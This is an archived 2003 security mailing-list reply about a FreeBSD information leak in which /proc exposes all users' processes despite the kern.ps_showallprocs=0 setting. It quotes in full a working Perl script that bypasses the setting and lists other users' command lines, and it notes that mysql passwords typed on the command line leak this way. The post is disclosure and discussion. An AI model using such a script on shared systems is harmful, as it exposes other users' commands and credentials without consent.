Re: ps information leak in FreeBSD

From: Jez Hancock (jez.hancockat_private)
Date: Tue Jan 07 2003 - 01:18:00 PST

  • Next message: Albert Bendicho: "Re: Directory traversal bug in Communigate Pro 4's Webmail service"

    On Sun, Jan 05, 2003 at 08:46:50PM +0000, Cache wrote:
    > This is a little information leak. This bug(?) is not dangerous, but
    > normal user can see all process on the box using ex. /bin/ps;
    This topic was addressed on freebsd-security list a while back, where
    someone also noted that all user process information can be obtained
    by regular users even with the sysctl flag 'kern.ps_showallprocs' set simply
    by looking at the contents of /proc.  The following script was also
    posted by someone to demonstrate this:
    
    #!/usr/bin/perl
    #
    # hhp-sap_evade.pl ([s]how[a]ll[p]rocs) 02/03/2002
    # author: JohnnyB
    #
    # a very basic tool that breaches the FreeBSD sysctl kern.ps_showallprocs=0
    # option; an option that hides other users process information.
    # (why would they implement such a broken and easily evaded option?)
    # [and no this didnt take any skill.  its basically an output format]
    #
    # Tested on FreeBSD 4.5-RC.
    
    print "[USER]      [GROUP]     [PID]   [FILE/ARGS]\n";
    opendir(DIR,"/proc");
    @procs=readdir(DIR);
    closedir(DIR);
    foreach ${proc} (@procs){
     if(${proc}=~/[0-9]/o){
      unshift(@pids, ${proc});
     }
    }
    foreach $pid (@pids){
     open(FD, "ls -al /proc/$pid/file|");
     while(<FD>){
      chomp;
      ${l}=$_;
      ${l}=~s/\s{1,}/ /g;
      if(${l}=~/.*? 1 (\S+) (\S+) .*?\/proc\/${pid}\/file -> (\S+)/){
       &ppid(${1},${2},${pid},${3});
      }
     }
     close(FD);
    }
    exit(0);
    
    sub ppid(){
     (${a},${b},${c},${d})=@_;
     undef(${str});
     undef(${line});
     if(-e "/proc/$c/cmdline"){
      open(heh,"cat /proc/$c/cmdline|");
      @hah=<heh>;
      @chars=split(//,@hah[0]);
      foreach ${chr} (@chars){
       if(${chr}=~/[^a-zA-Z0-9\-_=\.\/\@\(\):\$#!&\*\+\|\"\'\;\[\]<>\?~`\^]/o){
        ${str}.=" ";
       }else{
        ${str}.=${chr};
       }
      }
      ${line}.=${a};
      while(length(${line})<11){${line}.=" ";} #alignment...
      ${line}.=" ".${b};
      while(length(${line})<23){${line}.=" ";}
      ${line}.=" ".${c};
      while(length(${line})<31){${line}.=" ";}
      chop(${str});
      if(${d}eq"unknown"){
       ${str}=~s/\s{1,}//g;
       ${line}.=" ("."${str}".")";
      }else{
       ${line}.=" "."${str}";
      }
      @line=split(//,${line});
      if(length(${line})>80){
       ${cntr}=0;
       foreach ${char} (@line){
        if((${cntr}==80)||(${cntr}==128)||(${cntr}==176)||(${cntr}==234)){
         print "\n"." "x32;          #^Anything >, deal with the rollover.
        }
        print "${char}";
        ${cntr}++;
       }
       print "\n";
      }
      else{
       print "${line}\n";
      }
      return(0);
     }
    }
    
    I believe someone (last poster in this thread?) also posted a patch on the same
    list, freebsd-security.
    
    It's annoying in that I see a lot of users running mysql with the -u and -p options:
    
    mysql -u user -p mypassword
    
    on the commandline, thinking that this info will not show up in ps listings when ps
    is run by other users.  Ho hum...
    
    Regards,
    
    Jez Hancock
    



    This archive was generated by hypermail 2b30 : Mon Jan 20 2003 - 20:38:37 PST